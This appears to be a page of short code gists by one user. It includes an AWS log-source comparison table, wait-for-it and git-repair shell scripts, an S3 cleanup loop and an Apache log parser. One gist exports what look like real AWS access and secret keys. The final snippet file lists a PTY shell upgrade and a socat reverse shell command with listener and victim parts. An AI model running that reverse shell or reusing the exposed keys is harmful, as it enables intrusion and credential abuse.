mfakbar127

Log Source,Security Value,Primary Use Cases,Detection Strengths,Limitations,Cost Impact
CloudTrail,★★★★★,"API auditing, compliance, incident response","Privilege escalation, account takeover, policy changes","No data plane events, potential gaps in coverage","High volume, moderate cost"
VPC Flow Logs,★★★★,"Network monitoring, lateral movement detection","Data exfiltration, C2 comms, network reconnaissance","Metadata only, no packet inspection","Very high volume, high cost"
GuardDuty,★★★★,"Threat detection, malware identification","Known attack patterns, threat intelligence integration","Limited customization, false positives","Fixed pricing, cost-effective"
Config,★★★,"Configuration compliance, change tracking","Misconfigurations, policy violations, resource drift","Not real-time, config-focused only","Low volume, low cost"
ALB/ELB Logs,★★★★,"Web application security, DDoS detection","SQL injection, XSS, application attacks","Only web traffic, requires parsing","High volume, moderate cost"
WAF Logs,★★★,"Web a

mfakbar127

export AWS_ACCESS_KEY_ID=AKIAV4VAJD54YV77UM5R
export AWS_SECRET_ACCESS_KEY=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
export AWS_REGION=us-east-2

mfakbar127

#!/bin/sh
# wait-for-it.sh

# Script to wait for the rabbitmq service to get READY
# Usage : ./wait-for-it.sh <HOST> <PORT>
# set -e

host="$1"
port="$2"

mfakbar127

#! /bin/sh

# TAKEN FROM stackoverflow, but i forgot its source

# Save Git data
cp -r .git gitold

# Remove all empty Git object files
find .git -type f -empty -delete -print

mfakbar127

# emojiparty: a blend of random-emoji and terminalparty

PROMPT_EMOJI=(🐶 🐱 🐭 🐹 🐰 🐻 🐼 🐨 🐯 🦁 🐮 🐷 🐽 🐵 🙈 🙉 🙊 🐒 🐔 🐧 \
🐦 🐤 🐣 🐥 🐺 🐗 🐴 🦄 🐝 🐛 🐌 🐜 🕷 🦂 🐠 🐟 🐡 🐬 🐳 🐋 🐆 🐅 🐃 🐂 \
🐄 🐪 🐫 🐘 🐐 🐏 🐑 🐎 🐖 🐀 🐁 🐓 🦃 🕊 🐕 🐩 🐈 🐇 🐿 🎋 🍂 🌾 🌺 \
🌻 🌷 🌼 🌸 💐 🌰 🎃 🐚 🕸 🚕 🚙 🚌 🚎 🚓 🚑 🚐 🚚 🚜 🏍 🚲 🚔 🚍 🚘 🚖 \
🚡 🚟 🚃 🚋 🚅 🚈 🚞 🚆 🚇 🚊 🚉 🚁 🛩 🛫 🛬 ⛵️ 🛥 🚤 ⛴ 🛳 🚀 🛰 💺 🚧 \
😀 😬 😁 😃 😄 😅 😆 😇 😉 😊 🙂 🙃 😋 😌 😍 😘 😗 😙 😚 😜 😝 😛 🤑 🤓 \
😎 🤗 😏 😶 😐 😑 😒 🙄 🤔 😳 😞 😟 😠 😔 😕 🙁 😣 😖 😯 😦 😧 😵 😲 🤐 \
😷 🤒 🤕 😴 💤 💀 👽 🤖 😺 😸 😻 😼 😽 😾 ⚽️ 🏀 🏈 🏐 🏉 🎱 🏌 🏸 🏒 🏑 \

mfakbar127

#!/bin/sh

# source : https://github.com/aanand/docker-wait/blob/master/wait

set -e

host=$(env | grep _TCP_ADDR | cut -d = -f 2)
port=$(env | grep _TCP_PORT | cut -d = -f 2)

echo -n "waiting for TCP connection to $host:$port..."

mfakbar127

#!/usr/bin/env python3
import requests

client = requests.Session()
debug = False

def post(url, data, headers=None, proxy=False):
    if not headers:
        headers = {}
    headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'

mfakbar127

# Source : https://stackoverflow.com/questions/50467698/how-to-delete-files-older-than-7-days-in-s3

aws s3 ls BUCKETNAME/ | while read -r line;
       do
        createDate=`echo $line|awk {'print $1" "$2'}`
        createDate=`date -d"$createDate" +%s`
        olderThan=`date --date "7 days ago" +%s`
        if [[ $createDate -lt $olderThan ]]
           then
            fileName=`echo $line|awk {'print $4'}`

mfakbar127

# Source : https://mmas.github.io/read-apache-access-log-pandas
# https://mmas.github.io/analyze-apache-access-log-pandas

import re
import pandas as pd
from datetime import datetime
import pytz

from IPython import embed

mfakbar127

[[snippets]]
  description = "Python PTY Bash"
  command = "python -c 'import pty; pty.spawn(\"/bin/bash\")'"
  output = "\"\""

[[snippets]]
  description = "[Reverse Shell] Socat Reverse Shell"
  command = "socat file:`tty`,raw,echo=0 tcp-listen:<PORT=4444> #Listener socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<HOST>:<PORT=4444> #Victim"
  output = "\"\""